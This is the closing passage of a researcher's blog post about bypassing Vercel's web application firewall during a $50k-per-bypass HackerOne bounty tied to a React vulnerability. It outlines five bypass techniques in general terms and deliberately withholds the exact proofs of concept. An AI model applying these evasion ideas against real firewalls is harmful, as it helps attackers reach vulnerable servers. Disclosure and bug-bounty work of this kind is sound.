&lt;p&gt;In what ended up being responsible for the &lt;em&gt;vast&lt;/em&gt; majority of the bounty money I ended up getting from this, Vercel, to their credit, did in fact put their money where their mouth was, and began offering $50k per unique bypass to their WAF on HackerOne.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/vercel_hackerone.png&#34; alt=&#34;vercel hackerone&#34;&gt;&lt;/p&gt;
&lt;p&gt;We would have gotten the flag immediately after this program went live with our first bypass, but in an amusing turn of events, Vercel forgot to actually put the flag in the env, which delayed things a little bit. At this point, Lachlan and I redirected basically all of our energy into working on this, rather than fruitlessly hunting down other bounty programs.&lt;/p&gt;
&lt;p&gt;It took pretty much all night, but after about 12 hours of work we managed to construct a new bypass that relied on default Turbopack imports in order to access &lt;code&gt;path.join&lt;/code&gt; to concatenate the offending string without including it literally.&lt;/p&gt;
&lt;p&gt;After getting the first two, we took a step back to get a better sense of what the actual attack surface here was. We inferred pretty quickly that the Vercel WAF was probably built with &lt;a href=&#34;https://github.com/corazawaf/coraza&#34;&gt;Coraza&lt;/a&gt;. We declined to hunt for Coraza-specific bugs at this point because we figured that we had an advantage with anything that relied on abusing Flight because we knew its internals much better than most others, whereas with other things we were approaching it with the same level of experience as the countless other people also chasing the bounty.&lt;/p&gt;
&lt;p&gt;One of the funniest things we found during our search, which didn&amp;rsquo;t end up helping us but was very funny regardless, was the fact that &lt;a href=&#34;https://github.com/mscdex/busboy&#34;&gt;busboy&lt;/a&gt;, which claims to support base64-encoded multipart form bodies, in fact &lt;em&gt;encodes&lt;/em&gt; the body as base64 before returning it, instead of &lt;em&gt;decoding&lt;/em&gt; it, and the maintainer &lt;a href=&#34;https://github.com/mscdex/busboy/issues/376&#34;&gt;doesn&amp;rsquo;t seem to understand&lt;/a&gt; what the problem with that is.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/busboy_b64.png&#34; alt=&#34;busboy b64 encoding code&#34;&gt;&lt;/p&gt;
&lt;p&gt;Vercel ended up paying out for 23 unique bypasses, five of which belonged to Lachlan and myself.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/vercel_leaderboard.png&#34; alt=&#34;vercel waf hackerone leaderboard&#34;&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m speculating when I say this, but I suspect that Vercel somewhat overestimated how hard it would be to find ways around their firewall, and somewhat underestimated quite how many capable researchers are willing to devote an unhealthy amount of attention to something when 50 grand is dangled in front of their faces. Regardless, I&amp;rsquo;m quite, quite happy with the result, and I&amp;rsquo;m pleasantly surprised that Vercel stuck by their word and (to my knowledge) paid out everyone they owed.&lt;/p&gt;
&lt;p&gt;Both because Vercel hasn&amp;rsquo;t made the HackerOne reports public and also because I may be inclined to write this into a CTF challenge down the line I&amp;rsquo;m not going to disclose the exact PoCs we used, but since Vercel did &lt;a href=&#34;https://vercel.com/blog/our-million-dollar-hacker-challenge-for-react2shell&#34;&gt;make a post about&lt;/a&gt; some of them, I can at least mention some general details. Our five bypasses were:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A parsing bug, where the firewall regex cared about something JavaScript didn&amp;rsquo;t&lt;/li&gt;
&lt;li&gt;String concatenation by importing &lt;code&gt;path.join&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Recursive JSON decoding&lt;/li&gt;
&lt;li&gt;Recursive JSON decoding but two levels deeper (lmao)&lt;/li&gt;
&lt;li&gt;Abusing &lt;code&gt;Error.toString&lt;/code&gt; to get a free concatenation with &lt;code&gt;: &lt;/code&gt; as a separator&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In retrospect, we likely could have gotten a few more early on had we gone for the low-hanging fruit bypasses that tend to afflict WAFs in general, rather than JavaScript-based things highly specific to Flight. There were at least a handful of close misses where if &lt;em&gt;one small thing&lt;/em&gt; about JavaScript was different it would let us win that I wasted far too much time on. A few of these included &lt;code&gt;String.normalize&lt;/code&gt; using NFC by default (which would have worked if &lt;code&gt;constructor&lt;/code&gt; had a &lt;code&gt;K&lt;/code&gt; in it), &lt;code&gt;String.join&lt;/code&gt; having a default argument of &lt;code&gt;,&lt;/code&gt;, &lt;code&gt;BigInt.toString&lt;/code&gt; having a default radix of 10, and various functions like &lt;code&gt;bind&lt;/code&gt; and &lt;code&gt;apply&lt;/code&gt; only working if the LHS is an actual real function object.&lt;/p&gt;
&lt;p&gt;The Vercel WAF challenge lasted about a week, and we made our submissions up until the second to last day. By the time it ended, things had mostly calmed down elsewhere as well.&lt;/p&gt;
&lt;h2 id=&#34;afterword&#34;&gt;Afterword&lt;/h2&gt;
&lt;p&gt;All in all, these couple weeks were some of the most exhilarating I&amp;rsquo;ve experienced, and I learned quite a bit throughout. I&amp;rsquo;m incredibly thankful to Lachlan for considering me someone worth asking about this in the first place, and to all of our other friends who helped along the way. Part of me feels like finding a 10.0 in React when I&amp;rsquo;m 20 is gonna be a hard act to follow, but I&amp;rsquo;m excited for what comes next all the same.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sylvie&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
  </channel>
</rss>
